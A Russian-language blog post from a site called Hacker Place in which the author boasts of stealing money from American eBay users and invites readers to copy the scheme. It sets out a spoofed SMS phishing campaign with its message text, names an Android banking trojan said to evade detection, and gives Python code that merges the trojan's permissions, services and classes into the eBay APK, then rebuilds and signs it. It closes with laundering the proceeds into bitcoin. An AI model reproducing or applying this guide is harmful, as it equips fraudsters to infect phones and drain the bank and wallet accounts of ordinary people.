top of page
Фото автораHacker Place

Угнал 1.987.849 руб у америкосов с eBay

Привет, друзья!

На связи Bloody - создатель Hacker Place

Как обычно, продолжаю рубрику периодических отчетов по некоторым из тем с которыми работаю.

Кстати, те, кто пропустил, могут ознакомится с моими прошлыми отчетами (раз, два, три, четыре, пятьшесть, семь)

⚡️ Ну, а теперь перейдем к моему отчету!

 

Введение

Идея этой атаки не совсем обычна. Провел я ее больше из интереса, нежели от желания поднять деньжат. Однако, стоит признать, что и заработать получилось очень даже прилично. Особенно учитывая, что на все я потратил всего неделю.


Было забавно увидеть упоминание своей деятельности в иностранных СМИ. Пользуясь случаем, передаю пламенный привет из России, хоть и вряд ли мой отчет прочитают на западе :)

 

1. План атаки

Прежде, чем что-то делать, нужно иметь четкий план действий. Импровизация в процессе работы - это не про меня.

1. Делаем фишинговую SMS-рассылку с подменой номера по телефонным базам пиндосов.

2. В рассылке, под предлогом получения уведомлений, просим обновить приложение eBay. Оно у нас будет не совсем обычным, но об этом ниже.

3. Забираем все, что можно забрать.

Важный момент: данная атака была произведена только на смартфоны под управлением OC Android. Пользователи iOS остались в безопасности.


▪️Вы, вероятно, думаете: "Кто же на это поведется?"

▪️А я отвечу: Многие, главное все сделать грамотно. А вот как сделать грамотно - читайте дальше. Снова палю вам готовый кейс. Берите разбирайтесь и зарабатывайте.

 

2. Тонкости

2.1 Текст сообщения

Первое, с чего стоит начать, это текст сообщения для рассылки. Сообщение должно быть убедительным и простым.


Вот сообщение, которое использовал я. Специально включил свой номер в рассылку, чтобы продемонстрировать результат:

Перевод сообщения:

Здравствуйте, уважаемый пользователь! Мы уведомляем вас о том, что в вашем профиле eBay появилось 9 новых сообщений. Если вы не получаете уведомлений, пожалуйста, обновите приложение, используя ссылку ниже: [ссылка]

2.2 Выбор вредоноса

В качестве вредоноса был выбрал Minehax X11 Banking Trojan вместе с Play Protect.

Впервые данный софт появился на свет в 2021 году, благодаря нашим китайским друзьям, но ввиду своей популярности до сих пор остается актуальным и получает еженедельные обновления. Он имеет широчайшие возможности и не детектится антивирусами на Андроид, даже гугловский спокойно пропускает.


Вы только оцените перечень возможностей:


Причем должен отметить, что это далеко не все возможности. Софтина позволяет отрабатывать данные с более чем 270 зарубежных банков, электронных и криптовалютных кошельков, имеет встроенный кейлоггер, трансляцию экрана жертвы, тихую удаленую установку приложений и еще много других крутых фич.


В данном случае я просто прошелся по банковским аккаунтам и электронным кошелькам. Да, можно было заработать гораздо больше, но я решил не усложнять. Всех денег в мире не заработаешь.


После старта рассылки я замер за компьютером и стал ждать... И вот она! Первая жертва:

Такс, я совсем забыл упомянуть о склейке Minehax'a с приложением eBay. А это очень важный момент. Исправляюсь:


2.3 Немного о том, как я склеивал приложение eBay с Minehax

Для надежности, все манипуляции проводил ручками.

Внимание: весь код, который вы увидите ниже, будет на Python

Имеем:

1. Папка apk — для файлов с apk;

2. Папка tmp — для декомпилированных файлов;

3. Папка tools — с дополнительным софтом(таким как apktool.jar,sign.jar,testkey).


Сначала определяем текущую папку, в которой работаем и папки куда будем декомпилировать:

#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
import codecs
import os 
from os import listdir
import shutil
import subprocess
import datetime
pwd = os.getenv("PWD", os.getcwd()) # текущая папка
apkFolder1=pwd+"/tmp/1" # декомпилированный apk1
apkFolder2=pwd+"/tmp/2" # декомпилированный apk2

Затем производим декомпилирование apk файлов в папку tmp:

print "Декомпиляция "+pwd+"/apk/1.apk"
subprocess.call("java -jar "+ pwd+"/tools/apktool.jar d "+pwd+"/apk/1.apk -f -o " + pwd+"/tmp/1" , shell=True )
print "Декомпиляция "+pwd+"/apk/2.apk"
subprocess.call("java -jar " + pwd+"/tools/apktool.jar d "+pwd+"/apk/2.apk -f -o " + pwd+"/tmp/2" , shell=True )

После этого шага у нас есть две папки /tmp/1 и /tmp/2 с декомпилированными файлами. Теперь самое интересное — объединение манифестов!

print "Создание нового манифеста"
mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()  # читаем манифест того, который будем добавлять в другое приложение 
service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] # копируем все службы и сервисы 
permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]# копируем все разрешения
mainfest2 = open(apkFolder2+"/AndroidManifest.xml", "r").read() # читаем манифест того куда будем добавлять
new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")]
# перезапись созданного манифеста
new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w")
new_mainfest.write(new_mainfest2 )
new_mainfest.close()

Теперь по порядку в этом коде:

Находим файл AndroidManifest.xml в папке /tmp/1:

mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()

В этом файле находим все заявленные сервисы и классы:

service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] 

В AndroidManifest.xml папки /tmp/1 Копируем все от тега "<uses-permission" до тега "<application ". Тут находятся все разрешения, которые нужны программе:

permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]

Находим файл AndroidManifest.xml в папке /tmp/2:

mainfest1 = open(apkFolder2+"/AndroidManifest.xml", "r").read()

После этого нам надо объединить все это в один файл, так, чтоб все было на своих местах. Новый манифест (new_mainfest2) состоит из:

  1. Начало AndroidManifest.xml приложения 2.apk (от начала до конца необходимых разрешений);

  2. Прибавляем сюда разрешения приложения 1.apk (permission1);

  3. Добавляем все, что есть в AndroidManifest.xml приложения 2.apk от тега "<application" до "

  4. Добавляем все службы приложения 1.apk (service1);

  5. Дописываем остатки AndroidManifest.xml приложения 2.apk.

new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")]
# перезапись созданного манифеста
new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w")
new_mainfest.write(new_mainfest2 )
new_mainfest.close()

На этом сборка AndroidManifest закончена. Осталось скопировать все классы из /tmp/1 в /tmp/2. А точнее будем копировать папки smali (тут все классы приложения) и unknown:

subprocess.call("cp -rn "+apkFolder1+"/smali "+apkFolder2  , shell=True ) # копирование из /smali apkFolder1 в /smali apkFolder2
subprocess.call("cp -rn "+apkFolder1+"/unknown "+apkFolder2  , shell=True ) # копирование из /unknown apkFolder1 в /unknown apkFolder2 

Ну и в завершение надо собрать все это в файл формата apk, подписать:

 print "Компиляция apk в папку "+ pwd+"/tmp/3.apk"
subprocess.call("java -jar " + pwd+"/tools/apktool.jar b "+pwd+"/tmp/2 -o " + pwd+"/tmp/3.apk" , shell=True )
print "Подпись файла "+ pwd+"/tmp/3.apk" 
subprocess.call("java -jar " + pwd+"/tools/sign.jar "+pwd+"/tmp/3.apk --override", shell=True )   

В результате этого в папке tmp появляется файл 3.apk, который и является склейкой двух других.

 

Итого заработано

Весь полученный кэш был выведен из аккаунтов с помощью надежных посредников и отмыт. В итоге я получил чистые BTC на свой кошелек:


 

Прибыль:

0.52538966 BTC

=

$21.932

=

1.987.849,25 руб

 

Я считаю, что эта сумма досталась мне достаточно легко. Как видите, ничего сложного в этом деле нет. Уверен, что до этой темы додумался не только я. Да, я не первый и не последний, кто провернул подобную атаку. Отмечу, что данный способ можно адаптировать практически под любую страну. Достаточно взглянуть на самые популярные приложения в стране, по которой планируете работать и придумать подходящую легенду для рассылки.

 

Друзья, благодарю вас за внимание ❤️

Оставайтесь на связи, я готовлю для вас кое-что интересное, скоро все расскажу 🔥


424 просмотра0 комментариев

Недавние посты

Смотреть все

Comments


bottom of page